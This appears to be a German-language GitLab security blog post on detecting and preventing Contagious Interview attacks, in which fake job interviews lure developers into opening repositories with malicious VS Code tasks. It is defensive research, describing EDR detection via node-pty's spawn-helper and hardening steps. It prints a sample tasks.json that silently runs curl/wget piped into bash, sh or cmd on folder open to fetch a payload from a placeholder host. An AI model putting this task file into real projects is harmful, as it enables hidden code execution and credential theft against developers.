[{"data":1,"prerenderedAt":1275},["ShallowReactive",2],{"/de-de/blog/how-to-detect-and-prevent-contagious-interview-ide-attacks":3,"navigation-de-de":492,"banner-de-de":912,"footer-de-de":921,"blog-post-authors-de-de-Josh Feehs|Austin Bollinger":1160,"blog-related-posts-de-de-how-to-detect-and-prevent-contagious-interview-ide-attacks":1188,"blog-promotions-de-de":1213,"next-steps-de-de":1265},{"id":4,"title":5,"authors":6,"body":9,"category":470,"date":471,"description":472,"extension":473,"externalUrl":474,"featured":475,"heroImage":476,"meta":477,"navigation":478,"path":479,"seo":480,"slug":483,"stem":484,"tags":485,"template":490,"updatedDate":474,"__hash__":491},"blogPosts/de-de/blog/how-to-detect-and-prevent-contagious-interview-ide-attacks.md","Contagious Interview: IDE-Angriffe erkennen und verhindern",[7,8],"Josh Feehs","Austin Bollinger",{"type":10,"value":11,"toc":465},"minimark",[12,23,32,37,50,63,66,82,358,361,364,368,371,391,410,413,430,436,439,443,446,449,461],[13,14,15,16,22],"p",{},"GitLabs Threat Intelligence-Team, Teil des Security Operations-Teams, hat\nkürzlich einen ",[17,18,21],"a",{"href":19,"rel":20},"https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/",[],"umfangreichen Artikel","\nveröffentlicht, der nordkoreanische Angriffsmethoden offenlegt und erläutert,\nwie GitLab diese Akteure verfolgt und gestört hat. Security Operations umfasst\nauch das Security Incident Response Team (SIRT), Security Logging, Signals\nIntelligence und das Red Team. Diese enge Zusammenarbeit über verschiedene\nSicherheitsdisziplinen hinweg ermöglicht es, Erkenntnisse aus der Threat\nIntelligence zu nutzen, relevante Bedrohungsakteure über Red- und\nPurple-Team-Übungen zu emulieren und auf dieser Basis proaktiv Erkennungs-\nund Präventionsmaßnahmen zu entwickeln.",[13,24,25,26,31],{},"Parallel zur Entdeckung der nordkoreanischen Angriffsmethoden und der damit\nverbundenen ",[17,27,30],{"href":28,"rel":29},"https://attack.mitre.org/groups/G1052/",[],"Contagious Interview","-Bedrohungskampagne\nwurden benutzerdefinierte Kontrollen entwickelt, um ähnliche\nMalware-Kampagnen zu verhindern – insbesondere solche, die IDE-Angriffe\nnutzen. In diesem Artikel werden diese Kontrollen sowie die eingesetzten\nTechniken vorgestellt, mit denen Kunden geschützt, die breitere\nSecurity-Community unterstützt und diese bösartigen Akteure weiter\nzurückgedrängt werden.",[33,34,36],"h2",{"id":35},"die-threat-intelligence","Die Threat Intelligence",[13,38,39,40,45,46,49],{},"Der Artikel über nordkoreanische Angriffsmethoden konzentrierte sich auf\neine breite Palette von Angriffen, Techniken und Indicators of Compromise\n(IOCs), die nordkoreanische Staatsakteure aktiv für gezielte und breit\nangelegte Angriffe einsetzen. Einer der\n",[17,41,44],{"href":42,"rel":43},"https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/#_2025-campaign-trends",[],"beschriebenen Angriffswege","\nwar die Nutzung von Visual Studio Code-Tasks zur Malware-Verteilung. Die\n",[17,47,30],{"href":28,"rel":48},[],"-Bedrohungskampagne\nnutzt häufig gefälschte Vorstellungsgespräche, um Opfer dazu zu bringen,\nein Code-Repository herunterzuladen und zu öffnen – was einen Angriff über\nVS Code-Tasks ermöglicht.",[13,51,52,57,58,62],{},[17,53,56],{"href":54,"rel":55},"https://code.visualstudio.com/docs/debugtest/tasks",[],"VS Code-Tasks"," sind\nein Mechanismus zur Automatisierung häufiger Aufgaben, die Entwickler beim\nÖffnen eines Repositorys ausführen möchten – etwa Linting, Bauen,\nPaketieren, Testen oder Deployen von Softwaresystemen. Über eine einfache\nKonfigurationsdatei im Repository, ",[59,60,61],"code",{},"tasks.json",", kann Code automatisch\nausgeführt werden, sobald das Repository geöffnet wird. Dafür muss dem\nRepository Vertrauen gewährt werden.",[13,64,65],{},"Contagious Interviews Pretexte beruhen häufig auf bösartigen Repositories,\nsodass der Schwenk zu VS Code-Tasks für die Codeausführung eine einfache\nFortsetzung dieses Pretexts ist. Das Ziel wird aufgefordert, das bösartige\nRepository in VS Code herunterzuladen und zu öffnen – häufig zum Zweck\neines Code-Reviews im Rahmen eines Vorstellungsgesprächs. Da die Opfer\nglauben, sich für eine Stelle zu bewerben, stehen sie unter starkem Druck,\ndem Workspace des Interviewers zu \"vertrauen\" – was die bösartige Task ohne\nihr Wissen zur Ausführung bringt.",[13,67,68,69,71,72,75,76,81],{},"Ein Beispiel für eine bösartige ",[59,70,61],{},"-Datei ist unten dargestellt.\nSie ist recht einfach aufgebaut: Sie erkennt das Betriebssystem und lädt\ndie nächste Malware-Stufe für die jeweilige Plattform herunter, wobei eine\n",[59,73,74],{},"curl | bash","-Struktur verwendet wird. Die enthaltenen Domains sind\nPlatzhalter und keine tatsächlichen IOCs. Detaillierte IOCs für diese\nAkteure wurden in einem\n",[17,77,80],{"href":78,"rel":79},"https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/#appendix-2-indicators-of-compromise",[],"früheren Blogbeitrag","\nveröffentlicht.",[83,84,89],"pre",{"className":85,"code":86,"language":87,"meta":88,"style":88},"language-json shiki shiki-themes github-light","  \"version\": \"1.0.8\",\n  \"tasks\": [\n    {\n      \"label\": \"env\",\n      \"type\": \"shell\",\n      \"osx\": {\n        \"command\": \"curl 'https://www.example[.]com/settings/mac?flag=8' | bash\"\n      },\n      \"linux\": {\n        \"command\": \"wget -q0- 'https://www.example[.]com/settings/linux?flag=8' | sh\"\n      },\n      \"windows\": {\n        \"command\": \"curl https://www.example[.]com/settings/windows?flag=8 | cmd\"\n      },\n      \"problemMatcher\": [],\n      \"presentation\": {\n        \"reveal\": \"never\",\n        \"echo\": false,\n        \"focus\": false,\n        \"close\": true,\n        \"panel\": \"dedicated\",\n        \"showReuseMessage\": false\n      },\n      \"runOptions\": {\n        \"runOn\": \"folderOpen\"\n      }\n    }\n  ]\n","json","",[59,90,91,110,119,125,139,152,161,172,178,186,196,201,209,219,224,233,241,254,267,279,292,305,316,321,329,340,346,352],{"__ignoreMap":88},[92,93,96,100,104,107],"span",{"class":94,"line":95},"line",1,[92,97,99],{"class":98},"sYBdl","  \"version\"",[92,101,103],{"class":102},"sgsFI",": ",[92,105,106],{"class":98},"\"1.0.8\"",[92,108,109],{"class":102},",\n",[92,111,113,116],{"class":94,"line":112},2,[92,114,115],{"class":98},"  \"tasks\"",[92,117,118],{"class":102},": [\n",[92,120,122],{"class":94,"line":121},3,[92,123,124],{"class":102},"    {\n",[92,126,128,132,134,137],{"class":94,"line":127},4,[92,129,131],{"class":130},"sYu0t","      \"label\"",[92,133,103],{"class":102},[92,135,136],{"class":98},"\"env\"",[92,138,109],{"class":102},[92,140,142,145,147,150],{"class":94,"line":141},5,[92,143,144],{"class":130},"      \"type\"",[92,146,103],{"class":102},[92,148,149],{"class":98},"\"shell\"",[92,151,109],{"class":102},[92,153,155,158],{"class":94,"line":154},6,[92,156,157],{"class":130},"      \"osx\"",[92,159,160],{"class":102},": {\n",[92,162,164,167,169],{"class":94,"line":163},7,[92,165,166],{"class":130},"        \"command\"",[92,168,103],{"class":102},[92,170,171],{"class":98},"\"curl 'https://www.example[.]com/settings/mac?flag=8' | bash\"\n",[92,173,175],{"class":94,"line":174},8,[92,176,177],{"class":102},"      },\n",[92,179,181,184],{"class":94,"line":180},9,[92,182,183],{"class":130},"      \"linux\"",[92,185,160],{"class":102},[92,187,189,191,193],{"class":94,"line":188},10,[92,190,166],{"class":130},[92,192,103],{"class":102},[92,194,195],{"class":98},"\"wget -q0- 'https://www.example[.]com/settings/linux?flag=8' | sh\"\n",[92,197,199],{"class":94,"line":198},11,[92,200,177],{"class":102},[92,202,204,207],{"class":94,"line":203},12,[92,205,206],{"class":130},"      \"windows\"",[92,208,160],{"class":102},[92,210,212,214,216],{"class":94,"line":211},13,[92,213,166],{"class":130},[92,215,103],{"class":102},[92,217,218],{"class":98},"\"curl https://www.example[.]com/settings/windows?flag=8 | cmd\"\n",[92,220,222],{"class":94,"line":221},14,[92,223,177],{"class":102},[92,225,227,230],{"class":94,"line":226},15,[92,228,229],{"class":130},"      \"problemMatcher\"",[92,231,232],{"class":102},": [],\n",[92,234,236,239],{"class":94,"line":235},16,[92,237,238],{"class":130},"      \"presentation\"",[92,240,160],{"class":102},[92,242,244,247,249,252],{"class":94,"line":243},17,[92,245,246],{"class":130},"        \"reveal\"",[92,248,103],{"class":102},[92,250,251],{"class":98},"\"never\"",[92,253,109],{"class":102},[92,255,257,260,262,265],{"class":94,"line":256},18,[92,258,259],{"class":130},"        \"echo\"",[92,261,103],{"class":102},[92,263,264],{"class":130},"false",[92,266,109],{"class":102},[92,268,270,273,275,277],{"class":94,"line":269},19,[92,271,272],{"class":130},"        \"focus\"",[92,274,103],{"class":102},[92,276,264],{"class":130},[92,278,109],{"class":102},[92,280,282,285,287,290],{"class":94,"line":281},20,[92,283,284],{"class":130},"        \"close\"",[92,286,103],{"class":102},[92,288,289],{"class":130},"true",[92,291,109],{"class":102},[92,293,295,298,300,303],{"class":94,"line":294},21,[92,296,297],{"class":130},"        \"panel\"",[92,299,103],{"class":102},[92,301,302],{"class":98},"\"dedicated\"",[92,304,109],{"class":102},[92,306,308,311,313],{"class":94,"line":307},22,[92,309,310],{"class":130},"        \"showReuseMessage\"",[92,312,103],{"class":102},[92,314,315],{"class":130},"false\n",[92,317,319],{"class":94,"line":318},23,[92,320,177],{"class":102},[92,322,324,327],{"class":94,"line":323},24,[92,325,326],{"class":130},"      \"runOptions\"",[92,328,160],{"class":102},[92,330,332,335,337],{"class":94,"line":331},25,[92,333,334],{"class":130},"        \"runOn\"",[92,336,103],{"class":102},[92,338,339],{"class":98},"\"folderOpen\"\n",[92,341,343],{"class":94,"line":342},26,[92,344,345],{"class":102},"      }\n",[92,347,349],{"class":94,"line":348},27,[92,350,351],{"class":102},"    }\n",[92,353,355],{"class":94,"line":354},28,[92,356,357],{"class":102},"  ]\n",[13,359,360],{},"Diese bösartige Codeausführung wird typischerweise genutzt, um\nInfostealer zu deployen, Passwörter und Kryptowährungen zu stehlen und\nletztlich Persistenz zu etablieren, um die vertrauenswürdigen Zugänge der\nOpfer zu Unternehmensnetzwerken zu missbrauchen.",[13,362,363],{},"Sobald klar war, wie der Bedrohungsakteur initiale Codeausführung erlangt,\nwar das Ziel für präventive Maßnahmen definiert – diese Angriffe abzufangen,\nbevor GitLab-Workstations ins Visier geraten.",[33,365,367],{"id":366},"mehrschichtige-erkennung-und-prävention","Mehrschichtige Erkennung und Prävention",[13,369,370],{},"Das Ziel ist stets, Erkennungs- und Präventionskontrollen so \"niedrigschwellig\"\nwie möglich zu entwickeln, da diese Erkennungstypen typischerweise schwieriger\nzu umgehen sind. Außerdem deutete die Threat Intelligence darauf hin, dass\nauch andere Projekte, die VS Code als Basis nutzen, für diesen\nRepository-Angriff anfällig sind. Anstatt sich auf eine VS Code-spezifische\nErkennung zu konzentrieren, wurde daher der Bereich \"nächste an das\nBetriebssystem\" gesucht, an dem diese bösartige Codeausführung identifiziert\nwerden kann. Damit lassen sich nicht nur Angriffe über VS Code-Tasks\nerkennen, sondern auch Angriffe über VS Code-Forks oder ähnliche\nNode-basierte IDEs mit Hintergrundtasks.",[13,372,373,374,377,378,383,384,387,388,390],{},"Bei der Analyse des VS Code-Quellcodes wurde festgestellt, dass die\n",[59,375,376],{},"node-pty.spawn()","-Bibliotheksfunktion im gesamten Produkt verwendet wird,\nwenn Subprozesse benötigt werden. Die ",[17,379,382],{"href":380,"rel":381},"https://www.npmjs.com/package/node-pty",[],"node-pty-Bibliothek","\nist äußerst verbreitet – zum Zeitpunkt der Erstellung dieses Artikels\nverzeichnet sie über eine Million wöchentlicher Downloads. Sie ermöglicht\nNode-Anwendungen (einschließlich Electron-Anwendungen wie VS Code), Subprozesse\naus einem Node-Kontext heraus zu forken, was zu Aufrufen ihrer eigenen\nBinary ",[59,385,386],{},"spawn-helper"," führt. Beim Start von Subprozessen wird ",[59,389,386],{},"\nals Child-Prozess der aufrufenden Node-Anwendung gestartet.",[13,392,393,394,396,397,401,402,405,406,409],{},"Nach einer Purple-Team-Operation zur Emulation dieses spezifischen\nAngriffspfades wurde die EDR-Telemetrie ausgewertet, um nicht nur eine\nrobuste Erkennung für den emulierten Angriff zu entwickeln, sondern diese\nauch so zu verfeinern, dass nur verdächtige Aktivitäten alarmiert werden –\nnicht legitime Entwickleraktivitäten. Dabei wurde festgestellt, dass\n",[59,395,386],{}," in Situationen aufgerufen wird, in denen VS Code Tasks im\n",[398,399,400],"em",{},"Hintergrund"," starten möchte, ohne Sichtbarkeit oder Interaktion des\nNutzers. Ein ",[59,403,404],{},"Code Helper","-Binary hingegen wird aufgerufen, wenn neue\nProzesse (wie das integrierte Terminal) im ",[398,407,408],{},"Vordergrund"," mit\nNutzerinteraktion gestartet werden.",[13,411,412],{},"Das ermöglicht Erkennungen, die ausschließlich auf Subprozesse abzielen,\ndie ohne Wissen der Nutzenden gestartet werden – und False Positives\nvermeiden, die Subprozesse alarmieren würden, die jemand beim Arbeiten\nin seiner IDE bewusst startet.",[13,414,415,416,419,420,422,423,425,426,429],{},"Wie bereits dargestellt, enthält eine häufig gesehene bösartige Task\nBefehle, die ein ",[59,417,418],{},"curl | \u003Cshell>"," aus einer Task heraus ausführen. Zwar\nkann ",[59,421,74],{}," eine legitime Methode zur Softwareinstallation wie\nHomebrew sein – in der eigenen Umgebung sollte das jedoch niemals im\nHintergrund ohne Wissen der Nutzenden geschehen. Diese Unterscheidung\nermöglichte es, ",[59,424,386],{},"-basierte Erkennungen so abzustimmen, dass\nnicht ",[398,427,428],{},"jede"," Hintergrundtask alarmiert, sondern nur Verhaltensweisen\nausgelöst werden, die in der eigenen Umgebung ungewöhnlich und verdächtig\nsind. Seit der Implementierung dieser Erkennungstechnik gab es keine\nFalse Positives – obwohl ein Großteil der Organisation täglich VS Code\nverwendet.",[13,431,432,433,435],{},"Obwohl dieser Artikel sich auf die Erkennung von ",[59,434,386],{}," in der\neigenen Umgebung konzentriert, ist dies nur eine von vielen\nVerteidigungsschichten, die zum Schutz vor IDE-Task-basierten Angriffen\nimplementiert werden können.",[13,437,438],{},"Neben dem Einsatz von EDR-Instrumentierung zur Erkennung bösartiger Tasks\nzur Laufzeit lässt sich die eigene Fleet proaktiv gegen diese Angriffsart\nabsichern, indem globale Konfigurationen gepusht werden, die Task-Ausführungen\nin VS Code deaktivieren. Falls das für Entwickler zu störend ist, kann\ndie Umgebung auch darauf untersucht werden, wie häufig Nutzende Trusted\nWorkspaces und Trusted Workspace Folders in ihrer typischen VS Code-Nutzung\nverwenden – und Awareness-Kampagnen gestartet werden, um das Unternehmen\nüber die Risiken dieses Contagious Interview-Angriffspfades aufzuklären.",[33,440,442],{"id":441},"zusammenfassung","Zusammenfassung",[13,444,445],{},"GitLab Security Operations arbeitet rund um die Uhr, um Kunden und das\nUnternehmen zu schützen. Durch eng verzahnte Sicherheitsteams gelingt es,\nhandlungsrelevante Threat Intelligence zu produzieren, diese für\nAdversary-Emulation-Operationen zu nutzen und letztlich technische sowie\nprozedurale Präventions- und Erkennungstechniken zu entwickeln, die Kunden\nund Unternehmen schützen.",[13,447,448],{},"Da VS Code-Tasks in der Security-Community zunehmend Aufmerksamkeit\nerhalten, ist es möglich, dass weitere Bedrohungsakteure diesen Angriffspfad\nfür eigene Zwecke nutzen werden. Es ist zu hoffen, dass dieses kleine\nBeispiel der Arbeit zum Schutz von GitLab und Kunden gegen Advanced\nPersistent Threats andere dazu inspiriert, ähnliche Maßnahmen zu ergreifen\nund gemeinsam daran mitzuwirken, diese Bedrohungsakteure weiter\nzurückzudrängen.",[450,451,452],"blockquote",{},[13,453,454,455,460],{},"Innovationen und Forschung auf der ",[17,456,459],{"href":457,"rel":458},"https://about.gitlab.com/de-de/blog/categories/security-labs/",[],"Security Labs-Website"," verfolgen.",[462,463,464],"style",{},"html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":88,"searchDepth":112,"depth":112,"links":466},[467,468,469],{"id":35,"depth":112,"text":36},{"id":366,"depth":112,"text":367},{"id":441,"depth":112,"text":442},"security-labs","2026-05-04","Benutzerdefinierte Kontrollen zur Erkennung und Prävention von Malware-Kampagnen wie Contagious Interview – und Deployment in der eigenen Umgebung.","md",null,false,"https://res.cloudinary.com/about-gitlab-com/image/upload/v1774375772/kpaaaiqhokevxxeoxvu0.png",{},true,"/de-de/blog/how-to-detect-and-prevent-contagious-interview-ide-attacks",{"config":481,"title":5,"description":482},{"noIndex":475},"Wie GitLab Security Operations benutzerdefinierte Kontrollen entwickelt hat, die Malware-Kampagnen wie Contagious Interview erkennen und verhindern.","how-to-detect-and-prevent-contagious-interview-ide-attacks","de-de/blog/how-to-detect-and-prevent-contagious-interview-ide-attacks",[486,487,488,489],"security","security research","product","tutorial","BlogPost","kgSRqvaI7KUxt0rEMQCa2mU1dRdcGLExu64kIbmDHp4",{"logo":493,"freeTrial":498,"sales":503,"login":508,"items":513,"search":830,"minimal":864,"duo":882,"switchNav":891,"pricingDeployment":902},{"config":494},{"href":495,"dataGaName":496,"dataGaLocation":497},"/de-de/","gitlab logo","header",{"text":499,"config":500},"Kostenlose Testversion anfordern",{"href":501,"dataGaName":502,"dataGaLocation":497},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de&glm_content=default-saas-trial/","free trial",{"text":504,"config":505},"Vertrieb kontaktieren",{"href":506,"dataGaName":507,"dataGaLocation":497},"/de-de/sales/","sales",{"text":509,"config":510},"Anmelden",{"href":511,"dataGaName":512,"dataGaLocation":497},"https://gitlab.com/users/sign_in/","sign in",[514,543,645,650,754,810],{"text":515,"config":516,"menu":518},"Plattform",{"dataNavLevelOne":517},"platform",{"type":519,"columns":520},"cards",[521,527,535],{"title":515,"description":522,"link":523},"Die intelligente Orchestrierungsplattform für DevSecOps",{"text":524,"config":525},"Die Plattform erkunden",{"href":526,"dataGaName":517,"dataGaLocation":497},"/de-de/platform/",{"title":528,"description":529,"link":530},"GitLab Duo Agent Platform","Agentische KI für den gesamten Software-Lebenszyklus",{"text":531,"config":532},"Lerne GitLab Duo kennen",{"href":533,"dataGaName":534,"dataGaLocation":497},"/de-de/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":536,"description":537,"link":538},"Warum GitLab?","Erfahre, warum sich Unternehmen für GitLab entscheiden",{"text":539,"config":540},"Mehr erfahren",{"href":541,"dataGaName":542,"dataGaLocation":497},"/de-de/why-gitlab/","why gitlab",{"text":544,"left":478,"config":545,"menu":547},"Produkt",{"dataNavLevelOne":546},"solutions",{"type":548,"link":549,"columns":553,"feature":624},"lists",{"text":550,"config":551},"Alle Lösungen anzeigen",{"href":552,"dataGaName":546,"dataGaLocation":497},"/de-de/solutions/",[554,579,602],{"title":555,"description":556,"link":557,"items":562},"Automatisierung","CI/CD und Automatisierung zur Beschleunigung der Bereitstellung",{"config":558},{"icon":559,"href":560,"dataGaName":561,"dataGaLocation":497},"AutomatedCodeAlt","/de-de/solutions/delivery-automation/","automated software delivery",[563,567,570,575],{"text":564,"config":565},"CI/CD",{"href":566,"dataGaLocation":497,"dataGaName":564},"/de-de/solutions/continuous-integration/",{"text":528,"config":568},{"href":533,"dataGaLocation":497,"dataGaName":569},"gitlab duo agent platform - product menu",{"text":571,"config":572},"Quellcodeverwaltung",{"href":573,"dataGaLocation":497,"dataGaName":574},"/de-de/solutions/source-code-management/","Source Code Management",{"text":576,"config":577},"Automatische Softwarebereitstellung",{"href":560,"dataGaLocation":497,"dataGaName":578},"Automated software delivery",{"title":580,"description":581,"link":582,"items":587},"Sicherheit","Entwickle Code schneller ohne Abstriche bei der Sicherheit",{"config":583},{"href":584,"dataGaName":585,"dataGaLocation":497,"icon":586},"/de-de/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[588,592,597],{"text":589,"config":590},"Anwendungssicherheitstests",{"href":584,"dataGaName":591,"dataGaLocation":497},"Application security testing",{"text":593,"config":594},"Sicherheit der Software-Lieferkette",{"href":595,"dataGaLocation":497,"dataGaName":596},"/de-de/solutions/supply-chain/","Software supply chain security",{"text":598,"config":599},"Software-Compliance",{"href":600,"dataGaName":601,"dataGaLocation":497},"/de-de/solutions/software-compliance/","software compliance",{"title":603,"link":604,"items":609},"Messung",{"config":605},{"icon":606,"href":607,"dataGaName":608,"dataGaLocation":497},"DigitalTransformation","/de-de/solutions/visibility-measurement/","visibility and measurement",[610,614,619],{"text":611,"config":612},"Sichtbarkeit und Messung",{"href":607,"dataGaLocation":497,"dataGaName":613},"Visibility and Measurement",{"text":615,"config":616},"Wertstrommanagement",{"href":617,"dataGaLocation":497,"dataGaName":618},"/de-de/solutions/value-stream-management/","Value Stream Management",{"text":620,"config":621},"Analysen und Einblicke",{"href":622,"dataGaLocation":497,"dataGaName":623},"/de-de/solutions/analytics-and-insights/","Analytics and insights",{"title":625,"type":548,"items":626},"GitLab für",[627,633,639],{"text":628,"config":629},"Enterprise",{"icon":630,"href":631,"dataGaLocation":497,"dataGaName":632},"Building","/de-de/enterprise/","enterprise",{"text":634,"config":635},"Kleinunternehmen",{"icon":636,"href":637,"dataGaLocation":497,"dataGaName":638},"Work","/de-de/small-business/","small business",{"text":640,"config":641},"Öffentlicher Sektor",{"icon":642,"href":643,"dataGaLocation":497,"dataGaName":644},"Organization","/de-de/solutions/public-sector/","public sector",{"text":646,"config":647},"Preise",{"href":648,"dataGaName":649,"dataGaLocation":497,"dataNavLevelOne":649},"/de-de/pricing/","pricing",{"text":651,"config":652,"menu":654},"Ressourcen",{"dataNavLevelOne":653},"resources",{"type":548,"link":655,"columns":659,"feature":743},{"text":656,"config":657},"Alle Ressourcen anzeigen",{"href":658,"dataGaName":653,"dataGaLocation":497},"/de-de/resources/",[660,693,715],{"title":661,"items":662},"Erste Schritte",[663,668,673,678,683,688],{"text":664,"config":665},"Installieren",{"href":666,"dataGaName":667,"dataGaLocation":497},"/de-de/install/","install",{"text":669,"config":670},"Kurzanleitungen",{"href":671,"dataGaName":672,"dataGaLocation":497},"/de-de/get-started/","quick setup checklists",{"text":674,"config":675},"Lernen",{"href":676,"dataGaLocation":497,"dataGaName":677},"https://university.gitlab.com/","learn",{"text":679,"config":680},"Produktdokumentation",{"href":681,"dataGaName":682,"dataGaLocation":497},"https://docs.gitlab.com/","product documentation",{"text":684,"config":685},"Best-Practice-Videos",{"href":686,"dataGaName":687,"dataGaLocation":497},"/de-de/getting-started-videos/","best practice videos",{"text":689,"config":690},"Integrationen",{"href":691,"dataGaName":692,"dataGaLocation":497},"/de-de/integrations/","integrations",{"title":694,"items":695},"Entdecken",[696,701,706,710],{"text":697,"config":698},"Kundenerfolge",{"href":699,"dataGaName":700,"dataGaLocation":497},"/de-de/customers/","customer success stories",{"text":702,"config":703},"Blog",{"href":704,"dataGaName":705,"dataGaLocation":497},"/de-de/blog/","blog",{"text":707,"config":708},"The Source",{"href":709,"dataGaName":705,"dataGaLocation":497},"/de-de/the-source/",{"text":711,"config":712},"Remote",{"href":713,"dataGaName":714,"dataGaLocation":497},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":716,"items":717},"Vernetzen",[718,723,728,733,738],{"text":719,"config":720},"GitLab-Services",{"href":721,"dataGaName":722,"dataGaLocation":497},"/de-de/services/","services",{"text":724,"config":725},"Community",{"href":726,"dataGaName":727,"dataGaLocation":497},"/community/","community",{"text":729,"config":730},"Forum",{"href":731,"dataGaName":732,"dataGaLocation":497},"https://forum.gitlab.com/","forum",{"text":734,"config":735},"Veranstaltungen",{"href":736,"dataGaName":737,"dataGaLocation":497},"/events/","events",{"text":739,"config":740},"Partner",{"href":741,"dataGaName":742,"dataGaLocation":497},"/de-de/partners/","partners",{"config":744,"title":747,"text":748,"link":749},{"background":745,"textColor":746},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","Neues bei GitLab","Über die neuesten Funktionen und Verbesserungen auf dem Laufenden bleiben.",{"text":750,"config":751},"Aktuelle Nachrichten",{"href":752,"dataGaName":753,"dataGaLocation":497},"/de-de/whats-new/","whats new",{"text":755,"config":756,"menu":758},"Company",{"dataNavLevelOne":757},"company",{"type":548,"columns":759},[760],{"items":761},[762,767,773,775,780,785,790,795,800,805],{"text":763,"config":764},"Über",{"href":765,"dataGaName":766,"dataGaLocation":497},"/de-de/company/","about",{"text":768,"config":769,"footerGa":772},"Karriere",{"href":770,"dataGaName":771,"dataGaLocation":497},"/jobs/","jobs",{"dataGaName":771},{"text":734,"config":774},{"href":736,"dataGaName":737,"dataGaLocation":497},{"text":776,"config":777},"Geschäftsführung",{"href":778,"dataGaName":779,"dataGaLocation":497},"/company/team/e-group/","leadership",{"text":781,"config":782},"Handbuch",{"href":783,"dataGaName":784,"dataGaLocation":497},"https://handbook.gitlab.com/","handbook",{"text":786,"config":787},"Investor Relations",{"href":788,"dataGaName":789,"dataGaLocation":497},"https://ir.gitlab.com/","investor relations",{"text":791,"config":792},"Trust Center",{"href":793,"dataGaName":794,"dataGaLocation":497},"/de-de/security/","trust center",{"text":796,"config":797},"AI Transparency Center",{"href":798,"dataGaName":799,"dataGaLocation":497},"/de-de/ai-transparency-center/","ai transparency center",{"text":801,"config":802},"Newsletter",{"href":803,"dataGaName":804,"dataGaLocation":497},"/company/contact/#contact-forms","newsletter",{"text":806,"config":807},"Presse",{"href":808,"dataGaName":809,"dataGaLocation":497},"/press/","press",{"text":811,"config":812,"menu":813},"Kontakt",{"dataNavLevelOne":757},{"type":548,"columns":814},[815],{"items":816},[817,820,825],{"text":504,"config":818},{"href":506,"dataGaName":819,"dataGaLocation":497},"talk to sales",{"text":821,"config":822},"Support-Portal",{"href":823,"dataGaName":824,"dataGaLocation":497},"https://support.gitlab.com","support portal",{"text":826,"config":827},"Kundenportal",{"href":828,"dataGaName":829,"dataGaLocation":497},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":831,"login":832,"suggestions":839},"Schließen",{"text":833,"link":834},"Um Repositorys und Projekte zu durchsuchen, melde dich an bei",{"text":835,"config":836},"gitlab.com",{"href":511,"dataGaName":837,"dataGaLocation":838},"search login","search",{"text":840,"default":841},"Vorschläge",[842,844,849,851,856,861],{"text":528,"config":843},{"href":533,"dataGaName":528,"dataGaLocation":838},{"text":845,"config":846},"Codevorschläge (KI)",{"href":847,"dataGaName":848,"dataGaLocation":838},"/de-de/solutions/code-suggestions/","Code Suggestions (AI)",{"text":564,"config":850},{"href":566,"dataGaName":564,"dataGaLocation":838},{"text":852,"config":853},"GitLab auf AWS",{"href":854,"dataGaName":855,"dataGaLocation":838},"/de-de/partners/technology-partners/aws/","GitLab on AWS",{"text":857,"config":858},"GitLab auf Google Cloud",{"href":859,"dataGaName":860,"dataGaLocation":838},"/de-de/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":536,"config":862},{"href":541,"dataGaName":863,"dataGaLocation":838},"Why GitLab?",{"freeTrial":865,"mobileIcon":870,"desktopIcon":875,"secondaryButton":878},{"text":866,"config":867},"Kostenlos testen",{"href":868,"dataGaName":502,"dataGaLocation":869},"https://gitlab.com/-/trials/new/","nav",{"altText":871,"config":872},"GitLab-Symbol",{"src":873,"dataGaName":874,"dataGaLocation":869},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":871,"config":876},{"src":877,"dataGaName":874,"dataGaLocation":869},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":661,"config":879},{"href":880,"dataGaName":881,"dataGaLocation":869},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de/get-started/","get started",{"freeTrial":883,"mobileIcon":887,"desktopIcon":889},{"text":884,"config":885},"Mehr über GitLab Duo erfahren",{"href":533,"dataGaName":886,"dataGaLocation":869},"gitlab duo",{"altText":871,"config":888},{"src":873,"dataGaName":874,"dataGaLocation":869},{"altText":871,"config":890},{"src":877,"dataGaName":874,"dataGaLocation":869},{"button":892,"mobileIcon":897,"desktopIcon":899},{"text":893,"config":894},"/Option",{"href":895,"dataGaName":896,"dataGaLocation":869},"#contact","switch",{"altText":871,"config":898},{"src":873,"dataGaName":874,"dataGaLocation":869},{"altText":871,"config":900},{"src":901,"dataGaName":874,"dataGaLocation":869},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":903,"mobileIcon":908,"desktopIcon":910},{"text":904,"config":905},"Zurück zur Preisübersicht",{"href":648,"dataGaName":906,"dataGaLocation":869,"icon":907},"back to pricing","GoBack",{"altText":871,"config":909},{"src":873,"dataGaName":874,"dataGaLocation":869},{"altText":871,"config":911},{"src":877,"dataGaName":874,"dataGaLocation":869},{"title":913,"button":914,"config":919},"Sieh dir an, wie agentische KI die Softwarebereitstellung transformiert",{"text":915,"config":916},"Jetzt live bei GitLab Transcend am 10. Juni dabei sein",{"href":917,"dataGaName":918,"dataGaLocation":497},"/de-de/events/transcend/virtual/","transcend 